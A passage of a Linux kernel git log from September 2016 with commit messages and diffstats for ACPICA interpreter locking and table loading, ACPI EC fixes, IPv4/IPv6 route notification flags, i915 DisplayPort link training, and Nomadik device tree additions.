acpi_ds_exec_end_op U(Interpreter) acpi_ns_load_table L(Namespace) U(Namespace) acpi_ev_initialize_region L(Namespace) U(Namespace) address_space.Setup address_space.Handler acpi_os_wait_semaphore acpi_os_acquire_mutex acpi_os_sleep L(Interpreter) U(Interpreter) L(Interpreter) acpi_ex_resolve_node_to_value U(Interpreter) acpi_ns_check_return_value Where: 1. L(Interpreter) means acquire(MTX_INTERPRETER); 2. U(Interpreter) means release(MTX_INTERPRETER); 3. L(Namespace) means acquire(MTX_NAMESPACE); 4. U(Namespace) means release(MTX_NAMESPACE); We can see that acpi_ns_exec_module_code() (which invokes acpi_ns_evaluate) is implemented in a deferred way just in order to avoid to reacquire the namespace lock. This is in fact the root cause of many other ACPICA issues: 1. We now know for sure that the module code should be executed right in place by the Windows AML interpreter. So in the current design, if the region initializations/accesses or the table loadings (where the namespace surely should be locked again) happening during the table loading period, dead lock could happen because ACPICA never unlocks the namespace during the AML interpretion. 2. ACPICA interpreter just ensures that all static namespace nodes (named objects created during the acpi_load_tables()) are created (acpi_ns_lookup()) with the correct lock held, but doesn't ensure that the named objects created by the control method are created with the same correct lock held. It requires the control methods to be executed in a serial way after "loading a table", that's why ACPICA requires method auto serialization. This patch fixes these software design issues by extending interpreter enter/exit APIs to hold both interpreter/namespace locks to ensure the lock order correctness, so that we can get these code paths: Table loading: acpi_ns_load_table E(Interpreter) acpi_ns_parse_table acpi_ns_one_complete_parse acpi_ns_execute_table X(Interpreter) acpi_ns_load_table acpi_ev_initialize_region address_space.Setup address_space.Handler acpi_os_wait_semaphore acpi_os_acquire_mutex acpi_os_sleep E(Interpreter) X(Interpreter) Object evaluation: acpi_ns_evaluate E(Interpreter) acpi_ps_execute_method X(Interpreter) acpi_ns_load_table acpi_ev_initialize_region address_space.Setup address_space.Handler acpi_os_wait_semaphore acpi_os_acquire_mutex acpi_os_sleep E(Interpreter) X(Interpreter) Where: 1. E(Interpreter) means acquire(MTX_INTERPRETER, MTX_NAMESPACE); 2. X(Interpreter) means release(MTX_NAMESPACE, MTX_INTERPRETER); After this change, we can see: 1. All namespace nodes creations are locked by the namespace lock. 2. All namespace nodes referencing are locked with the same lock. 3. But we also can notice a defact that, all namespace nodes deletions could be affected by this change. As a consequence, acpi_ns_delete_namespace_subtree() may delete a static namespace node that is still referenced by the interpreter (for example, the parser scopes). Currently, we needn't worry about the last defact because in ACPICA, table unloading is not fully functioning, its design strictly relies on the fact that when the namespace deletion happens, either the AML table or the OSPMs should have been notified and thus either the AML table or the OSPMs shouldn't reference deletion-related namespace nodes during the namespace deletion. And this change still works with the above restrictions applied. While making this a-step-forward helps us to correct the wrong grammar to pull many things back to the correct rail. And pulling things back to the correct rail in return makes it possible for us to support fully functioning table unloading after doing many cleanups. While this patch is generated, all namespace locks are examined to ensure that they can meet either of the following pattens: 1. L(Namespace) U(Namespace) 2. E(Interpreter) X(Interpreter) 3. E(Interpreter) X(Interpreter) L(Namespace) U(Namespace) E(Interpreter) X(Interpreter) We ensure this by adding X(Interpreter)/E(Interpreter) or removing U(Namespace)/L(Namespace) for those currently are executed in the following order: E(Interpreter) L(Namespace) U(Namespace) X(Interpreter) And adding E(Interpreter)/X(Interpreter) for those currently are executed in the following order: X(Interpreter) E(Interpreter) Originally, the interpreter lock is held for the execution AML opcodes, the namespace lock is held for the named object creation AML opcodes. Since they are actually same in MS interpreter (can all be executed during the table loading), we can combine the 2 locks and tune the locking code better in this way. Lv Zheng. Link: https://bugzilla.kernel.org/show_bug.cgi?id=153541 # [1] Link: https://bugzilla.kernel.org/show_bug.cgi?id=121701 # [1] Link: https://bugs.acpica.org/show_bug.cgi?id=1323 Link: https://github.com/acpica/acpica/commit/767ee533 Reported-and-tested-by: Mika Westerberg Reported-and-tested-by: Greg White Reported-and-tested-by: Dutch Guy Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/dsmethod.c | 4 ++++ drivers/acpi/acpica/dswload2.c | 7 ++----- drivers/acpi/acpica/exconfig.c | 14 ++++++++------ drivers/acpi/acpica/exoparg1.c | 18 ++++++++++-------- drivers/acpi/acpica/extrace.c | 25 ------------------------- drivers/acpi/acpica/exutils.c | 8 ++++++++ drivers/acpi/acpica/nsload.c | 27 ++++++++++----------------- drivers/acpi/acpica/nsparse.c | 3 +++ drivers/acpi/acpica/psxface.c | 2 ++ drivers/acpi/acpica/utaddress.c | 8 -------- 10 files changed, 47 insertions(+), 69 deletions(-) commit c2d981aaed431c6af46f0a17907ed825946a5839 Author: Lv Zheng Date: Wed Sep 7 14:07:02 2016 +0800 ACPICA: Namespace: Add acpi_ns_get_node_unlocked() ACPICA commit 3ef1a1bf5612fe1a629424c09eaaeb6f299d313c Add acpi_ns_get_node_unlocked() to be used when ACPI_MTX_NAMESPACE is locked. Lv Zheng. Link: https://github.com/acpica/acpica/commit/3ef1a1bf Tested-by: Mika Westerberg Tested-by: Greg White Tested-by: Dutch Guy Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acnamesp.h | 5 ++++ drivers/acpi/acpica/nsutils.c | 66 ++++++++++++++++++++++++++++++++---------- 2 files changed, 55 insertions(+), 16 deletions(-) commit de56ba95e8d6d760910711744a548b50b3a4262d Author: Lv Zheng Date: Wed Sep 7 14:06:54 2016 +0800 ACPICA: Interpreter: Fix MLC issues by switching to new term_list grammar for table loading ACPICA commit 0e24fb67cde08d7df7671d7d7b183490dc79707e The MLC (Module Level Code) is an ACPICA terminology describing the AML code out of any control method, its support is an indication of the interpreter behavior during the table loading. The original implementation of MLC in ACPICA had several issues: 1. Out of any control method, besides of the object creating opcodes, only the code blocks wrapped by "If/Else/While" opcodes were supported. 2. The supported MLC code blocks were executed after loading the table rather than being executed right in place. ============================================================ The demo of this order issue is as follows: Name (OBJ1, 1) If (CND1 == 1) { Name (OBJ2, 2) } Name (OBJ3, 3) The original MLC support created OBJ2 after OBJ3's creation. ============================================================ Other than these limitations, MLC support in ACPICA looks correct. And supporting this should be easy/natural for ACPICA, but enabling of this was blocked by some ACPICA internal and OSPM specific initialization order issues we've fixed recently. The wrong support started from the following false bug fixing commit: Commit: 7f0c826a437157d2b19662977e9cf3b472cf24a6 Subject: ACPICA: Add support for module-level executable AML code Commit: 9a884ab64a4d092b4c3bf24fd9a30f7fbd4591e7 Subject: ACPICA: Add additional module-level code support ... We can confirm Windows interpreter behavior via reverse engineering means. It can be proven that not only If/Else/While wrapped code blocks, all opcodes can be executed at the module level, including operation region accesses. And it can be proven that the MLC should be executed right in place, not in such a deferred way executed after loading the table. And the above facts indeed reflect the spec words around ACPI definition block tables (DSDT/SSDT/...), the entire table and the Scope object is defined by the AML specification in BNF style as: AMLCode := def_block_header term_list def_scope := scope_op pkg_length name_string term_list The bodies of the scope opening terms (AMLCode/Scope) are all term_list, thus the table loading should be no difference than the control method evaluations as the body of the Method is also defined by the AML specification as term_list: def_method := method_op pkg_length name_string method_flags term_list The only difference is: after evaluating control method, created named objects may be freed due to no reference, while named objects created by the table loading should only be freed after unloading the table. So this patch follows the spec and the de-facto standard behavior, enables the new grammar (term_list) for the table loading. By doing so, beyond the fixes to the above issues, we can see additional differences comparing to the old grammar based table loading: 1. Originally, beyond the scope opening terms (AMLCode/Scope), If/Else/While wrapped code blocks under the scope creating terms (Device/power_resource/Processor/thermal_zone) are also supported as deferred MLC, which violates the spec defined grammar where object_list is enforced. With MLC support improved as non-deferred, the interpreter parses such scope creating terms as term_list rather object_list like the scope opening terms. After probing the Windows behavior and proving that it also parses these terms as term_list, we submitted an ECR (Engineering Change Request) to the ASWG (ACPI Specification Working Group) to clarify this. The ECR is titled as "ASL Grammar Clarification for Executable AML Opcodes" and has been accepted by the ASWG. The new grammar will appear in ACPI specification 6.2. 2. Originally, Buffer/Package/operation_region/create_XXXField/bank_field arguments are evaluated in a deferred way after loading the table. With MLC support improved, they are also parsed right in place during the table loading. This is also Windows compliant and the only difference is the removal of the debugging messages implemented before acpi_ds_execute_arguments(), see Link # [1] for the details. A previous commit should have ensured that acpi_check_address_range() won't regress. Note that enabling this feature may cause regressions due to long term Linux ACPI support on top of the wrong grammar. So this patch also prepares a global option to be used to roll back to the old grammar during the period between a regression is reported and the regression is root-cause-fixed. Lv Zheng. Link: https://bugzilla.kernel.org/show_bug.cgi?id=112911 # [1] Link: https://bugzilla.kernel.org/show_bug.cgi?id=117671 # [1] Link: https://bugzilla.kernel.org/show_bug.cgi?id=153541 # [1] Link: https://github.com/acpica/acpica/issues/122 Link: https://bugs.acpica.org/show_bug.cgi?id=963 Link: https://github.com/acpica/acpica/commit/0e24fb67 Reported-and-tested-by: Chris Bainbridge Reported-by: Ehsan Reported-and-tested-by: Dutch Guy Tested-by: Mika Westerberg Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acnamesp.h | 3 + drivers/acpi/acpica/acparser.h | 2 + drivers/acpi/acpica/evrgnini.c | 3 +- drivers/acpi/acpica/exconfig.c | 3 +- drivers/acpi/acpica/nsload.c | 3 +- drivers/acpi/acpica/nsparse.c | 162 +++++++++++++++++++++++++++++++++-------- drivers/acpi/acpica/psparse.c | 4 +- drivers/acpi/acpica/psxface.c | 71 ++++++++++++++++++ drivers/acpi/acpica/tbxfload.c | 3 +- drivers/acpi/acpica/utxfinit.c | 3 +- include/acpi/acpixf.h | 7 ++ 11 files changed, 227 insertions(+), 37 deletions(-) commit 955f485dc40cdee265a85ad4af378f2a2cfaf11b Author: Bob Moore Date: Wed Sep 7 14:06:47 2016 +0800 ACPICA: Update return value for intenal _OSI method ACPICA commit 82101009c7c04845edb3495e66a274a613758bca Instead of 0xFFFFFFFF, _OSI is now defined to return "Ones". This is for compatibility with Windows. The ACPI spec will be updated to reflect this. Link: https://github.com/acpica/acpica/commit/82101009 Reported-by: Daniel Drake Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/utosi.c | 22 +++++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) commit 4e0b26d3910cd69db27c4af0954f6499b8eef038 Author: Lv Zheng Date: Wed Sep 7 14:06:39 2016 +0800 ACPICA: Tables: Override all 64-bit GAS fields when acpi_gbl_use32_bit_fadt_addresses is TRUE ACPICA commit aaace77db4c3b267a65b75c33f84ace6f65bbcf7 Originally, when acpi_gbl_use32_bit_fadt_addresses is TRUE, GAS override can only happen when the Address field mismatches. According to the investigation result, Windows may favor 32-bit FADT addresses in some cases. So we need this quirk working after enabling full GAS support. This requires us to override GAS access_size/bit_width/bit_offset fields as long as acpi_gbl_use32_bit_fadt_addresses is TRUE. This patch enhances this quirk mechanism to make it working with full GAS support. Lv Zheng. Link: https://bugzilla.kernel.org/show_bug.cgi?id=151501 Link: https://github.com/acpica/acpica/commit/aaace77d Reported-and-tested-by: Andrey Skvortsov Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/tbfadt.c | 102 +++++++++++++++++++++---------------------- 1 file changed, 49 insertions(+), 53 deletions(-) commit bdbe5df025b712220ba8d807662d4449b2092e54 Author: Lv Zheng Date: Wed Sep 7 14:06:32 2016 +0800 ACPICA: Tables: Add new table events indicating table installation/uninstallation ACPICA commit ed6a5fbc694f3a27d93014391aa9a6f6fe490461 This patch adds 2 new table events to indicate table installation/uninstallation. Currently, as ACPICA never uninstalls tables, this patch thus only adds table handler invocation for the table installation event. Lv Zheng. The 2 events are to be used to fix a sysfs table handling issue related to LoadTable opcode (see Link # [1] below). The actual sysfs fixing code is not included, the sysfs fixes will be sent as separate patches. Link: https://bugzilla.kernel.org/show_bug.cgi?id=150841 # [1] Link: https://github.com/acpica/acpica/commit/ed6a5fbc Reported-by: Jason Voelz Reported-by: Francisco Leoner Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/tbinstal.c | 8 ++++++++ include/acpi/actypes.h | 4 +++- 2 files changed, 11 insertions(+), 1 deletion(-) commit 6eecbc9b8a030cf9c0ed52dd19b5d122503b8c4c Author: Lv Zheng Date: Wed Sep 7 14:06:24 2016 +0800 ACPICA: Tables: Remove wrong table event macros ACPICA commit fcc129d04f865161f308d3b8743496cc3f4d233e There are wrong table event macros, this patch cleans them up. Link: https://bugs.acpica.org/show_bug.cgi?id=1321 Link: https://github.com/acpica/acpica/commit/fcc129d0 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki include/acpi/actypes.h | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit 752db1016019a4e67d86492fdfda724215ee8d9b Author: Lv Zheng Date: Wed Sep 7 14:06:17 2016 +0800 ACPICA: Tables: Remove acpi_tb_install_fixed_table() ACPICA commit 42c7b848d2faa02c7691ef2c53ea741c23cd4665 acpi_tb_install_fixed_table() is now redundant as we've removed the fixed table indexing mechanism: Commit: 8ec3f459073e67e5c6d78507dec693064b3040a2 Subject: ACPICA: Tables: Fix global table list issues by removing fixed table indexes This patch cleans up the code accordingly. No functional change. Lv Zheng. Link: https://bugs.acpica.org/show_bug.cgi?id=1320 Link: https://github.com/acpica/acpica/commit/42c7b848 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/actables.h | 7 +---- drivers/acpi/acpica/tbfadt.c | 24 +++++++++------- drivers/acpi/acpica/tbinstal.c | 65 +----------------------------------------- 3 files changed, 16 insertions(+), 80 deletions(-) commit eacce4b6ce073b69830f5d816282af5317a2e98c Author: Bob Moore Date: Wed Sep 7 14:06:10 2016 +0800 ACPICA: Add a couple of casts to uthex.c ACPICA commit 2ba5d3fdaa24d66d67694cbae6ec66971a7a67c1 Required in some environments. Link: https://github.com/acpica/acpica/commit/2ba5d3fd Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/uthex.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 5ebd2eaaefc0d4fe37ab72e716e1b8065ed4206c Author: Bob Moore Date: Wed Sep 7 14:14:30 2016 +0800 ACPICA: Cleanup for all string-to-integer conversions ACPICA commit e2e72a351201fd58e4694418859ae2c247dafca0 Consolidate multiple versions of strtoul64 to one common version. limit possible bases to either 10 or 16. Handles both implicit and explicit conversions. Added a 2-character ascii-to-hex function for GPEs and buffers. Adds a new file, utstrtoul64.c Link: https://github.com/acpica/acpica/commit/e2e72a35 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/Makefile | 1 + drivers/acpi/acpica/acutils.h | 17 +- drivers/acpi/acpica/dbconvert.c | 7 +- drivers/acpi/acpica/dswexec.c | 3 +- drivers/acpi/acpica/evgpeinit.c | 7 +- drivers/acpi/acpica/exconcat.c | 2 +- drivers/acpi/acpica/exconvrt.c | 8 +- drivers/acpi/acpica/exmisc.c | 4 +- drivers/acpi/acpica/exoparg1.c | 5 +- drivers/acpi/acpica/exresop.c | 11 +- drivers/acpi/acpica/nsconvert.c | 1 - drivers/acpi/acpica/uthex.c | 45 +++- drivers/acpi/acpica/utnonansi.c | 357 +------------------------------ drivers/acpi/acpica/utstrtoul64.c | 348 ++++++++++++++++++++++++++++++ tools/power/acpi/tools/acpidump/Makefile | 2 + tools/power/acpi/tools/acpidump/apdump.c | 4 +- tools/power/acpi/tools/acpidump/apmain.c | 4 +- 17 files changed, 435 insertions(+), 391 deletions(-) commit 60361b75848c8614233e3374ef5a0056527f0385 Author: Bob Moore Date: Wed Sep 7 14:05:41 2016 +0800 ACPICA: Debugger: Add subcommand for predefined name execution ACPICA commit be5808f0e642ff9963d86f362521b4af2340e2f5 "Execute Predefined" will execute all predefined (public) names within the namespace. Link: https://github.com/acpica/acpica/commit/be5808f0 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acdebug.h | 2 +- drivers/acpi/acpica/dbexec.c | 62 ++++++++++--------- drivers/acpi/acpica/dbinput.c | 2 + drivers/acpi/acpica/dbmethod.c | 132 +++++++++++++++++++++++++++++++++++++++++ 4 files changed, 169 insertions(+), 29 deletions(-) commit 97cb159fd91d00f8d7d1adeb075503dc0d946bff Author: Lv Zheng Date: Wed Sep 7 16:50:27 2016 +0800 ACPI / EC: Fix issues related to boot_ec There are issues related to the boot_ec: 1. If acpi_ec_remove() is invoked, boot_ec will also be freed, this is not expected as the boot_ec could be enumerated via ECDT. 2. Address space handler installation/unstallation lead to unexpected _REG evaluations. This patch adds acpi_is_boot_ec() check to be used to fix the above issues. However, since acpi_ec_remove() actually won't be invoked, this patch doesn't handle the reference counting of "struct acpi_ec", it only ensures the correctness of the boot_ec destruction during the boot. Link: https://bugzilla.kernel.org/show_bug.cgi?id=153511 Reported-and-tested-by: Jonh Henderson Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 63 ++++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 49 insertions(+), 14 deletions(-) commit 2a5708409e4e05446eb1a89ecb48641d6fd5d5a9 Author: Lv Zheng Date: Wed Sep 7 16:50:21 2016 +0800 ACPI / EC: Fix a gap that ECDT EC cannot handle EC events It is possible to register _Qxx from namespace and use the ECDT EC to perform event handling. The reported bug reveals that Windows is using ECDT in this way in case the namespace EC is not present. This patch facilitates Linux to support ECDT in this way. Link: https://bugzilla.kernel.org/show_bug.cgi?id=115021 Reported-and-tested-by: Luya Tshimbalanga Tested-by: Jonh Henderson Reviewed-by: Peter Wu Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 119 ++++++++++++++++++++++++++++++++++++++---------- drivers/acpi/internal.h | 1 + drivers/acpi/scan.c | 1 + 3 files changed, 98 insertions(+), 23 deletions(-) commit 46922d2a3aff5122253d97e64500801c08f4f2c0 Author: Lv Zheng Date: Wed Sep 7 16:50:14 2016 +0800 ACPI / EC: Fix a memory leakage issue in acpi_ec_add() When the handler installation failed, there was no code to free the allocated EC device. This patch fixes this memory leakage issue. Link: https://bugzilla.kernel.org/show_bug.cgi?id=115021 Reported-and-tested-by: Luya Tshimbalanga Tested-by: Jonh Henderson Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) commit 72c77b7ea9ce781f4987840984a462e4456ba98e Author: Lv Zheng Date: Wed Sep 7 16:50:08 2016 +0800 ACPI / EC: Cleanup first_ec/boot_ec code In order to support full ECDT (driving the ECDT EC after probing the namespace EC), we need to change our EC device alloc/free algorithm, ensure not to free old boot EC before qualifying new boot EC. This patch achieves this by cleaning up first_ec/boot_ec logic: 1. first_ec: used to perform transactions, so it is assigned in new acpi_ec_setup() function. 2. boot_ec: used to track early EC device, so it is assigned in new acpi_config_boot_ec() function which explictly tells the driver to save the EC device as early EC device. Link: https://bugzilla.kernel.org/show_bug.cgi?id=115021 Reported-and-tested-by: Luya Tshimbalanga Tested-by: Jonh Henderson Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 96 ++++++++++++++++++++++++++++++++++++------------------- 1 file changed, 63 insertions(+), 33 deletions(-) commit c24acf03c7352bd10a99e58b0366b2acf8722856 Author: stephen hemminger Date: Wed Sep 7 14:07:32 2016 -0700 macsec: set network devtype The netdevice type structure for macsec was being defined but never used. To set the network device type the macro SET_NETDEV_DEVTYPE must be called. Compile tested only, I don't use macsec. Signed-off-by: Stephen Hemminger Acked-by: Sabrina Dubroca Signed-off-by: David S. Miller drivers/net/macsec.c | 1 + 1 file changed, 1 insertion(+) commit b8b867e132d2c32f16a49b3ce5c11ee289a92c4e Author: stephen hemminger Date: Wed Sep 7 13:57:36 2016 -0700 rtnetlink: remove unused ifla_stats_policy This structure is defined but never used. Flagged with W=1 Signed-off-by: Stephen Hemminger Acked-by: Roopa Prabhu Signed-off-by: David S. Miller net/core/rtnetlink.c | 4 ---- 1 file changed, 4 deletions(-) commit a349fcc85fc67d6a793104bfa0d5b31220b57752 Merge: e895cdc 73483c1 Author: David S. Miller Date: Fri Sep 9 16:50:23 2016 -0700 Merge branch 'newroute-creation-flags' Guillaume Nault says: ==================== ip: fix creation flags reported in RTM_NEWROUTE events Netlink messages sent to user-space upon RTM_NEWROUTE events have their nlmsg_flags field inconsistently set. While the NLM_F_REPLACE and NLM_F_APPEND bits are correctly handled, NLM_F_CREATE and NLM_F_EXCL are always 0. This series sets the NLM_F_CREATE and NLM_F_EXCL bits when applicable, for IPv4 and IPv6. Since IPv6 ignores the NLM_F_APPEND flags in requests, this flag isn't reported in RTM_NEWROUTE IPv6 events. This keeps IPv6 internal consistency (same flag semantic for user requests and kernel events) at the cost of bringing different flag interpretation for IPv4 and IPv6. ==================== Signed-off-by: David S. Miller commit 73483c1289d148282be3aac3ad30b4aa1f8fac87 Author: Guillaume Nault Date: Wed Sep 7 17:21:40 2016 +0200 ipv6: report NLM_F_CREATE and NLM_F_EXCL flags in RTM_NEWROUTE events Since commit 37a1d3611c12 ("ipv6: include NLM_F_REPLACE in route replace notifications"), RTM_NEWROUTE notifications have their NLM_F_REPLACE flag set if the new route replaced a preexisting one. However, other flags aren't set. This patch reports the missing NLM_F_CREATE and NLM_F_EXCL flag bits. NLM_F_APPEND is not reported, because in ipv6 a NLM_F_CREATE request is interpreted as an append request (contrary to ipv4, "prepend" is not supported, so if NLM_F_EXCL is not set then NLM_F_APPEND is implicit). As a result, the possible flag combination can now be reported (iproute2's terminology into parentheses): * NLM_F_CREATE | NLM_F_EXCL: route didn't exist, exclusive creation ("add"). * NLM_F_CREATE: route did already exist, new route added after preexisting ones ("append"). * NLM_F_REPLACE: route did already exist, new route replaced the first preexisting one ("change"). Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller net/ipv6/ip6_fib.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit b93e1fa7106582e3a81cc818b719e0341585ff1b Author: Guillaume Nault Date: Wed Sep 7 17:20:46 2016 +0200 ipv4: fix value of ->nlmsg_flags reported in RTM_NEWROUTE events fib_table_insert() inconsistently fills the nlmsg_flags field in its notification messages. Since commit b8f558313506 ("[RTNETLINK]: Fix sending netlink message when replace route."), the netlink message has its nlmsg_flags set to NLM_F_REPLACE if the route replaced a preexisting one. Then commit a2bb6d7d6f42 ("ipv4: include NLM_F_APPEND flag in append route notifications") started setting nlmsg_flags to NLM_F_APPEND if the route matched a preexisting one but was appended. In other cases (exclusive creation or prepend), nlmsg_flags is 0. This patch sets ->nlmsg_flags in all situations, preserving the semantic of the NLM_F_* bits: * NLM_F_CREATE: a new fib entry has been created for this route. * NLM_F_EXCL: no other fib entry existed for this route. * NLM_F_REPLACE: this route has overwritten a preexisting fib entry. * NLM_F_APPEND: the new fib entry was added after other entries for the same route. As a result, the possible flag combination can now be reported (iproute2's terminology into parentheses): * NLM_F_CREATE | NLM_F_EXCL: route didn't exist, exclusive creation ("add"). * NLM_F_CREATE | NLM_F_APPEND: route did already exist, new route added after preexisting ones ("append"). * NLM_F_CREATE: route did already exist, new route added before preexisting ones ("prepend"). * NLM_F_REPLACE: route did already exist, new route replaced the first preexisting one ("change"). Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller net/ipv4/fib_trie.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit c7cefce03e691270c0e5e117248e14661e9c9cad Author: Arnd Bergmann Date: Fri Sep 9 22:10:45 2016 +0200 hwmon: (xgene) access mailbox as RAM The newly added hwmon driver fails to build in an allmodconfig kernel: ERROR: "memblock_is_memory" [drivers/hwmon/xgene-hwmon.ko] undefined! According to comments in the code, the mailbox is a shared memory region, not a set of MMIO registers, so we should use memremap() for mapping it instead of ioremap or acpi_os_ioremap, and pointer dereferences instead of readl/writel. The driver already uses plain kernel pointers, so it's a bit unusual to work with functions that operate on __iomem pointers, and this fixes that part too. I'm using READ_ONCE/WRITE_ONCE here to keep the existing behavior regarding the ordering of the accesses from the CPU, but note that there are no barriers (also unchanged from before). I'm also keeping the endianness behavior, though I'm unsure whether the message data was supposed to be in LE32 format in the first place, it's possible this was meant to be interpreted as a byte stream instead. Signed-off-by: Arnd Bergmann Acked-by: Hoan Tran Tested-by: Hoan Tran Signed-off-by: Guenter Roeck drivers/hwmon/xgene-hwmon.c | 29 +++++++++++++++-------------- 1 file changed, 15 insertions(+), 14 deletions(-) commit c92bd2fa33038d18858beca3cc65d53c99ce95f6 Author: Navare, Manasi D Date: Thu Sep 1 15:08:15 2016 -0700 drm/i915: Make DP link training channel equalization DP 1.2 Spec compliant Fix the number of tries in channel euqalization link training sequence according to DP 1.2 Spec. It returns a boolean depending on channel equalization pass or failure. Signed-off-by: Dhinakaran Pandiyan Signed-off-by: Manasi Navare Reviewed-by: Mika Kahola Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_dp_link_training.c | 57 ++++++++++----------------- drivers/gpu/drm/i915/intel_drv.h | 1 + 2 files changed, 22 insertions(+), 36 deletions(-) commit 13b1996e842aa4164c4d838908bc6dd76c3bd2b2 Author: Dhinakaran Pandiyan Date: Wed Sep 7 11:28:01 2016 -0700 drm/dp/i915: Make clock recovery in the link training compliant with DP Spec 1.2 This function cleans up clock recovery loop in link training compliant tp Dp Spec 1.2. It tries the clock recovery 5 times for the same voltage or until max voltage swing is reached and removes the additional non compliant retries. This function now returns a boolean values based on if clock recovery passed or failed. v3: * Better Debug prints in case of failures (Mika Kahola) v2: * Rebased on top of new revision of vswing patch (Manasi Navare) Signed-off-by: Dhinakaran Pandiyan Signed-off-by: Manasi Navare Reviewed-by: Mika Kahola Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_dp_link_training.c | 60 +++++++++++++-------------- 1 file changed, 28 insertions(+), 32 deletions(-) commit 7bfaddf057f3ae774fa355cb7d87324ca67add94 Author: Dhinakaran Pandiyan Date: Wed Sep 7 11:28:00 2016 -0700 drm/i915/dp: Move max. vswing check to it's own function Wrap the max. vswing check in a separate function. This makes the clock recovery phase of DP link training cleaner v3: Fixed the paranthesis warning (Mika Kahola) v2: Fixed the Compiler warning (Mika Kahola) Signed-off-by: Dhinakaran Pandiyan Signed-off-by: Manasi Navare Reviewed-by: Mika Kahola Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_dp_link_training.c | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) commit f169660ed4e57a03e6f6ed07fe192dbcb7687a0d Author: Jim Bride Date: Wed Sep 7 15:47:34 2016 -0700 drm/i915/dp: Add a standalone function to obtain shared dpll for HSW/BDW/SKL/BXT Add the PLL selection code for HSW/BDW/BXT/SKL into a stand-alone function in order to allow for the implementation of a platform neutral upfront link training function. v4: * Removed dereferencing NULL pointer in case of failure (Dhinakaran Pandiyan) v3: * Add Hooks for all DDI platforms into this standalone function v2: * Change the macro to use dev_priv instead of dev (David Weinehall) Reviewed-by: Durgadoss R Signed-off-by: Manasi Navare Signed-off-by: Jim Bride Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_ddi.c | 39 +++++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_dpll_mgr.c | 38 ++++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_dpll_mgr.h | 2 ++ drivers/gpu/drm/i915/intel_drv.h | 3 ++- 4 files changed, 81 insertions(+), 1 deletion(-) commit 17470b7da11c137267c74ff0d2d4cca56f595c60 Author: Linus Walleij Date: Wed Jan 27 22:03:23 2016 +0100 ARM: dts: add the CLCD LCD display to the NHK15 This adds the TPG110 TDO43MTEA2 24-bit RGB LCD panel and sets up the Nomadik device tree to activate the CLCD and connect it to this panel. Signed-off-by: Linus Walleij arch/arm/boot/dts/ste-nomadik-nhk15.dts | 44 ++++++++++++++++++++++++++++++ arch/arm/boot/dts/ste-nomadik-stn8815.dtsi | 22 +++++++++++++++ 2 files changed, 66 insertions(+) commit 6fb2de9d9f1b34fed21d7c88a008b8822f5dd4c7 Author: Linus Walleij Date: Sun Jan 10 22:32:43 2016 +0100 ARM: dts: add PMU to the NHK15 device tree The so-called Nomadik Power Mangament Unit is actually a set of some power management registers and some miscellaneous system control stuff like muxing of entire hardware units. Add this as a system controller. Signed-off-by: Linus Walleij arch/arm/boot/dts/ste-nomadik-stn8815.dtsi | 6 ++++++ 1 file changed, 6 insertions(+) commit 6f101946cb0acb7a36a773bb2aaf2c0f768f2ebc Author: Linus Walleij Date: Sun Jan 10 22:34:07 2016 +0100 ARM: nomadik: select MFD_SYSCON Since the Power Management Unit is using syscon to access a set of necessary hardware muxing, let's select MFD_SYSCON for the Nomadik subarchitecture. Signed-off-by: Linus Walleij arch/arm/mach-nomadik/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 4a9b8e4df51df8f21c2dacf54bcefa258beb5e8b Author: Linus Walleij Date: Wed Jan 27 22:35:43 2016 +0100 dt-bindings: Add TPO TPG110 binding This adds device tree bindings for the TPO TPG110 panel found mounted in the Nomadik NHK8815. Acked-by: Rob Herring Signed-off-by: Linus Walleij .../bindings/display/panel/tpo,tpg110.txt | 47 ++++++++++++++++++++++ 1 file changed, 47 insertions(+) commit ee376dfac67d0fc3e3359c2b5c8ed5186e8a5616 Author: Linus Walleij Date: Sat Jan 9 23:09:21 2016 +0100 dt-bindings: add vendor TPO TPO was a merger on June 5 2006 of Toppoly Optoelectronics and Philips Mobile Display Systems. They manufactured small and medium mobile displays. Acked-by: Rob Herring 